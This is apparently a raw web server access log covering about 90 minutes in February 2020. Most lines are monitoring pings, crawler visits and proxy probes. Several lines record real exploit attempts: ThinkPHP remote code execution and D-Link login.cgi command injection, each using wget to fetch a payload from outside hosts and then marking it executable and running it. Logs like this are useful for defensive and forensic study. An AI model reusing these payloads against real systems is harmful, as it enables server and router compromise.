39.135.1.160 - - [19/Feb/2020:21:15:57 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [19/Feb/2020:21:15:58 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [19/Feb/2020:21:15:58 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [19/Feb/2020:21:15:59 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [19/Feb/2020:21:15:59 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [19/Feb/2020:21:16:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
124.47.8.10 - - [19/Feb/2020:21:16:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [19/Feb/2020:21:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:21:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.149.85 - - [19/Feb/2020:21:32:59 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.86 - - [19/Feb/2020:21:32:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [19/Feb/2020:21:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.166.74.120 - - [19/Feb/2020:21:33:53 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.48.129.61 - - [19/Feb/2020:21:33:54 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.213 - - [19/Feb/2020:21:33:59 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
58.249.100.230 - - [19/Feb/2020:21:33:59 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
175.184.165.174 - - [19/Feb/2020:21:33:59 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.104.78 - - [19/Feb/2020:21:34:01 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
110.177.73.5 - - [19/Feb/2020:21:34:01 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
220.250.62.226 - - [19/Feb/2020:21:34:02 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:21:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.173.94.18 - - [19/Feb/2020:21:35:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
27.224.137.146 - - [19/Feb/2020:21:35:22 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:21:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [19/Feb/2020:21:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:21:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.147.205.4 - - [19/Feb/2020:21:41:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:21:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [19/Feb/2020:21:43:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:21:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.191.159.230 - - [19/Feb/2020:21:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:21:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.44.201.245 - - [19/Feb/2020:21:50:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:21:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.60.123.74 - - [19/Feb/2020:21:55:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:21:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:21:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.186.179 - - [19/Feb/2020:22:00:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:22:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.165.200.217 - - [19/Feb/2020:22:00:52 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
212.91.246.72 - - [19/Feb/2020:22:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [19/Feb/2020:22:02:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [19/Feb/2020:22:02:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [19/Feb/2020:22:03:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [19/Feb/2020:22:03:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [19/Feb/2020:22:03:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:22:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.117.108.17 - - [19/Feb/2020:22:04:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:22:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.20.8 - - [19/Feb/2020:22:07:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
190.72.111.244 - - [19/Feb/2020:22:08:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:22:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.173.13.59 - - [19/Feb/2020:22:11:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:22:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.82.208 - - [19/Feb/2020:22:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
78.187.82.208 - - [19/Feb/2020:22:12:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:22:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.217.73.217 - - [19/Feb/2020:22:14:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.217 - - [19/Feb/2020:22:14:54 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.217 - - [19/Feb/2020:22:14:55 +0100] "GET /sitemap.xml HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.217 - - [19/Feb/2020:22:14:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.217 - - [19/Feb/2020:22:14:56 +0100] "GET /ads.txt HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
144.217.73.217 - - [19/Feb/2020:22:14:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G925F Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36"
212.91.246.72 - - [19/Feb/2020:22:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [19/Feb/2020:22:16:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:22:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [19/Feb/2020:22:24:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:22:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.237.194.75 - - [19/Feb/2020:22:24:54 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [19/Feb/2020:22:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.170.120 - - [19/Feb/2020:22:29:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:22:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.184.203.157 - - [19/Feb/2020:22:30:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:22:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [19/Feb/2020:22:32:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [19/Feb/2020:22:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [19/Feb/2020:22:36:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [19/Feb/2020:22:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.4.163.156 - - [19/Feb/2020:22:38:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:22:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:22:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.184.53.247 - - [19/Feb/2020:22:42:41 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
